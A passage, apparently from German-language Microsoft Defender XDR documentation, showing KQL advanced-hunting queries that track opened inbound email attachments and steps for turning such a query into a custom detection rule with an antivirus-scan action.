   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   | join DeviceFileEvents on SHA256
   | where ActionType == "FileCreated"
   

   Sie haben nun eine Abfrage erstellt, die alle eingehenden E-Mails ermittelt, bei denen der Benutzer den Anhang geöffnet oder gespeichert hat. Sie können diese Abfrage auch verfeinern, um nach bestimmten Absenderdomänen, Dateigrößen, Dateitypen usw. zu filtern.

7. Funktionen sind eine besondere Art von Join, mit der Sie mehr TI-Daten zu einer Datei abrufen können, z. B. deren Verbreitung, Signaturgeber- und Ausstellerinformationen usw. Um weitere Details zur Datei zu erhalten, verwenden Sie die FileProfile() -Funktionsanreicherung:

   EmailEvents
   | where AttachmentCount > 0 and EmailDirection == "Inbound"
   | project-rename EmailTimestamp=Timestamp
   | join EmailAttachmentInfo on NetworkMessageId, RecipientObjectId
   | join DeviceFileEvents on SHA256
   | where ActionType == "FileCreated"
   | distinct SHA1
   | invoke FileProfile()
   

Erkennung erstellen

Nachdem Sie eine Abfrage erstellt haben, die Informationen identifiziert, über die Sie benachrichtigt werden möchten, wenn sie in Zukunft auftreten, können Sie eine benutzerdefinierte Erkennung aus der Abfrage erstellen.

Benutzerdefinierte Erkennungen führen die Abfrage entsprechend der von Ihnen festgelegten Häufigkeit aus, und die Ergebnisse der Abfragen erstellen Sicherheitswarnungen basierend auf den betroffenen Ressourcen, die Sie auswählen. Diese Warnungen werden Vorfällen zugeordnet und können wie jede andere von einem der Produkte generierte Sicherheitswarnung priorisiert und bearbeitet werden.

1. Entfernen Sie auf der Abfrageseite die distinct SHA1 und invoke FileProfile() Zeilen, die Sie im vorherigen Schritt hinzugefügt haben, und wählen Sie dann Erkennungsregel erstellen aus.

   

   Hinweis

   Wenn Sie Erkennungsregel erstellen auswählen und Syntaxfehler in Ihrer Abfrage auftreten, wird Ihre Erkennungsregel nicht gespeichert. Überprüfen Sie Ihre Abfrage, um sicherzustellen, dass keine Fehler vorliegen.

2. Füllen Sie die erforderlichen Felder mit den Informationen aus, die es dem Sicherheitsteam ermöglichen, die Warnung zu verstehen, warum sie generiert wurde und welche Aktionen sie erwarten.

   

   Stellen Sie sicher, dass Sie die Felder klar ausfüllen, damit der nächste Nutzer eine fundierte Entscheidung bezüglich dieser Erkennungsregel betrifft.

3. Wählen Sie aus, welche Entitäten von dieser Warnung betroffen sind. Wählen Sie in diesem Fall Gerät und Postfach aus.

   

4. Bestimmen Sie, welche Aktionen ausgeführt werden sollen, wenn die Warnung ausgelöst wird. Für diese Erkennungsregel führen Sie einen Antiviren-Scan durch, obwohl auch andere Maßnahmen ergriffen werden können.

   

5. Wählen Sie den Bereich für die Warnungsregel aus. Da diese Abfrage Geräte umfasst, sind die Gerätegruppen in dieser benutzerdefinierten Erkennung gemäß Microsoft Defender for Endpoint Kontext relevant. Beim Erstellen einer benutzerdefinierten Erkennung, die keine Geräte als betroffene Entitäten enthält, gilt der Geltungsbereich nicht.

   

   Für diese Microsoft Defender XDR-Pilotbereitstellung möchtest du diese Regel vielleicht auf eine Teilmenge von Testgeräten in deiner Produktionsumgebung beschränken.

6. Wählen Sie Erstellen aus. Wählen Sie dann im Navigationsbereich Benutzerdefinierte Erkennungsregeln aus.

   

   

   Auf dieser Seite können Sie die Erkennungsregel auswählen, die eine Detailseite öffnet.

   

Expertenschulung zur erweiterten Bedrohungssuche

Die Verfolgung des Angreifers ist eine Webcastserie für neue Sicherheitsanalysten und erfahrene Bedrohungsjäger. Es führt Sie durch die Grundlagen der erweiterten Suche bis hin zum Erstellen eigener komplexer Abfragen.

Unter Experten-Schulung zu Advanced Hunting erfahren Sie, wie Sie beginnen.

Nächste Schritte

Integrieren Sie Informationen aus Investigate and respond with Microsoft Defender in Ihre SecOps-Prozesse.